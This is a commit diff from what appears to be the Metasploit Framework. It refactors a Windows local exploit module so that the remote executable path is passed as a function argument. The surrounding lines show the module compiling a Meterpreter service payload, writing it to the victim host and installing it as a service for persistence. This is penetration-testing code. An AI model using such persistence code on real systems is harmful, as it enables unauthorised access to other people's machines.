Use argument

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-12-14 09:14:27 -06:00
parent dfa84aa1af
commit a057b72bd9
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 2 additions and 4 deletions

View File

@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Local
metsvc_code = metsvc_template(buf)
bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code)
victim_path = write_exe_to_target(bin, rexename)
victim_path = write_exe_to_target(bin, rexename, rexepath)
install_service(victim_path)
clean_rc = log_file
@ -107,10 +107,8 @@ class MetasploitModule < Msf::Exploit::Local
# Function for writing executable to target host
# Code from post/windows/manage/persistence_exe
#
def write_exe_to_target(rexe, rexename)
def write_exe_to_target(rexe, rexename, rexepath)
# check if we have write permission
rexepath = datastore['REMOTE_EXE_PATH']
if rexepath
begin
temprexe = rexepath + "\\" + rexename